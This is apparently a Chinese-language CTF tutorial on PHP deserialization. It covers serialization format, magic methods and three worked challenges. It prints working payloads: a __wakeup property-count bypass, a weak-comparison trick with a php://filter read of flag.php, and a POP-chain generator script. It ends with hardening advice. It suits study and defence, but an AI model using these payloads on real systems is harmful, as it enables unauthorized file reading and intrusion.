PHP 反序列化 POP 链学习:从 wakeup 绕过到伪协议读文件

一、前言

PHP 反序列化是 Web CTF 中非常常见的考点,也是真实代码审计中需要重点关注的风险点。它的核心不是“背 payload”,而是理解对象在反序列化后的生命周期,以及魔术方法之间如何形成调用链。

本文结合几道典型题目,总结 PHP 反序列化中常见的三个方向:

  • __wakeup() 绕过
  • private/protected 属性序列化格式
  • POP 链构造和伪协议读文件

内容仅用于靶场学习和授权环境复现。

二、PHP 序列化基础

一个普通对象序列化后大概长这样:

1
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"root";}

含义如下:

片段 含义
O object,对象
4 类名长度
"User" 类名
2 属性数量
s:4:"name" 字符串类型属性名
s:5:"admin" 字符串类型属性值

常见类型标识:

1
2
3
4
5
6
s  string
i integer
b boolean
a array
O object
N null

三、属性可见性

PHP 中 public、protected、private 属性在序列化后的格式不同。

1. public

1
public $name = "admin";

序列化后:

1
s:4:"name";s:5:"admin";

2. protected

1
protected $name = "admin";

序列化后属性名前会带有:

1
\0*\0

URL 编码后表现为:

1
%00%2A%00name

3. private

1
private $name = "admin";

序列化后属性名前会带有:

1
\0类名\0

URL 编码后类似:

1
%00User%00name

这也是很多题目中 payload 需要 URL 编码的原因。

四、魔术方法触发点

PHP 反序列化题常见魔术方法:

方法 触发场景
__wakeup() unserialize() 时触发
__destruct() 对象销毁时触发
__toString() 对象被当作字符串使用时触发
__get() 读取不可访问属性时触发
__set() 写入不可访问属性时触发
__call() 调用不可访问方法时触发
__invoke() 对象被当作函数调用时触发

构造 POP 链时,一般要先找“链尾”,也就是最终能产生敏感行为的位置,例如:

  • file_get_contents()
  • include()
  • system()
  • eval()
  • call_user_func()

然后再从触发方法一步步往前推。

五、案例一:wakeup 绕过读取 flag

某题源码逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Name {
private $username = 'nonono';
private $password = 'yesyes';

function __wakeup() {
$this->username = 'guest';
}

function __destruct() {
if ($this->password != 100) {
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}
}
}

$select = $_GET['select'];
$res = unserialize(@$select);

目标:

1
2
username === admin
password == 100

__wakeup() 会把 username 改成 guest,所以需要绕过 __wakeup()

老版本 PHP 中存在一种常见绕过思路:当序列化字符串中声明的属性数量大于实际属性数量时,可能跳过 __wakeup()

构造重点:

1
O:4:"Name":3:{...}

实际只有两个属性,但数量写成 3。

由于属性是 private,需要使用 %00Name%00username%00Name%00password

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

这个案例的重点:

  • private 属性需要带类名前缀。
  • __wakeup() 会影响反序列化后的属性。
  • 属性数量异常可用于特定版本下绕过 __wakeup()

六、案例二:AreUSerialz 强弱类型绕过

题目核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class FileHandler {
protected $op;
protected $filename;
protected $content;

public function process() {
if ($this->op == "1") {
$this->write();
} else if ($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function read() {
$res = "";
if (isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

function __destruct() {
if ($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}

目标是进入:

1
else if ($this->op == "2")

从而调用 read() 读取文件。

但是析构方法中有:

1
2
if ($this->op === "2")
$this->op = "1";

这里一个是弱类型比较:

1
$this->op == "2"

另一个是强类型比较:

1
$this->op === "2"

因此可以设置:

1
$op = 2;

这样:

1
2
2 === "2"  不成立
2 == "2" 成立

最终绕过析构方法中的强类型判断,同时进入 process() 中的读文件分支。

读取 flag.php 可使用 PHP 伪协议:

1
php://filter/read=convert.base64-encode/resource=flag.php

构造示例:

1
2
3
4
5
6
7
8
9
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}

$obj = new FileHandler();
echo serialize($obj);

这个案例的重点:

  • 找到最终敏感函数 file_get_contents()
  • 利用 php://filter 读取源码。
  • 利用强弱类型比较差异绕过逻辑限制。
  • 在部分题目中可将 protected 属性改为 public 来绕过不可见字符限制。

七、案例三:典型 POP 链构造

某题中存在三个类:ShowTestModifier。关键触发点类似:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show {
public $source;
public $str;

public function __wakeup() {
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test {
public $p;
}

这类题通常不是一个方法直接读 flag,而是通过多个魔术方法串起来:

1
2
3
4
5
6
unserialize()
-> __wakeup()
-> 对象转字符串触发 __toString()
-> 读取不可访问属性触发 __get()
-> 对象当函数触发 __invoke()
-> include/file_get_contents 读取 flag

构造 POP 链的步骤:

  1. 先找链尾,也就是最终的文件包含或文件读取。
  2. 再找哪个魔术方法能触发链尾。
  3. 继续往前找哪个属性或方法能触发这个魔术方法。
  4. 最后把对象属性按链路连接起来。

示例构造思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show {
public $source;
public $str;

public function __construct() {
$this->str = new Test();
}
}

class Test {
public $p;

public function __construct() {
$this->p = new Modifier();
}
}

$a = new Show();
$b = new Show();
$b->str = "";
$b->source = $a;

echo urlencode(serialize($b));

这里的重点不是死记这个 payload,而是理解对象之间的指向关系:

1
2
3
4
$b->source -> $a
$a->str -> Test
Test->p -> Modifier
Modifier->var -> php://filter...

这就是 POP 链中“把多个对象拼成一条执行路径”的过程。

八、POP 链分析方法

做 PHP 反序列化题时,可以按这个顺序分析:

1. 找入口

搜索:

1
2
3
unserialize($_GET['x'])
unserialize($_POST['x'])
unserialize($_COOKIE['x'])

确认用户是否可控。

2. 找链尾

优先找危险函数:

1
2
3
4
5
6
7
system
eval
assert
include
require
file_get_contents
call_user_func

3. 找触发器

看危险函数在哪个魔术方法中,或者能不能被魔术方法间接触发。

4. 连对象关系

根据属性访问和方法调用,把不同类串起来。

5. 处理过滤

常见过滤绕过:

  • URL 编码空字节。
  • 使用 php://filter
  • 强弱类型比较差异。
  • __wakeup() 属性数量绕过。
  • 使用对象触发 __toString()__get()

九、防护建议

真实业务中应避免以下写法:

1
2
3
unserialize($_GET['data']);
unserialize($_POST['data']);
unserialize($_COOKIE['data']);

加固建议:

  • 不对用户可控数据使用 unserialize()
  • 使用 JSON 传递普通数据。
  • 如果必须反序列化,使用 allowed_classes 限制可反序列化类。
  • 对序列化数据做签名校验。
  • 避免在魔术方法中执行敏感操作。
  • 不在析构、字符串转换、属性读取等魔术方法中调用危险函数。
  • 对文件读取路径做白名单限制。

示例:

1
$data = unserialize($input, ["allowed_classes" => false]);

这可以避免反序列化成对象,但仍建议优先使用 JSON。

十、总结

PHP 反序列化的核心是对象生命周期和魔术方法触发。做题时不要一上来就拼 payload,而是先画出调用链:

1
入口 -> 触发方法 -> 中间对象 -> 链尾函数 -> 目标效果

本文总结的三个点比较常见:

  • __wakeup() 绕过适合理解对象恢复过程。
  • 强弱类型比较适合理解 PHP 类型转换风险。
  • POP 链适合训练从链尾反推触发路径的能力。

理解这些之后,再遇到 PHP 反序列化题,就可以从“看源码找链”开始,而不是盲目套 payload。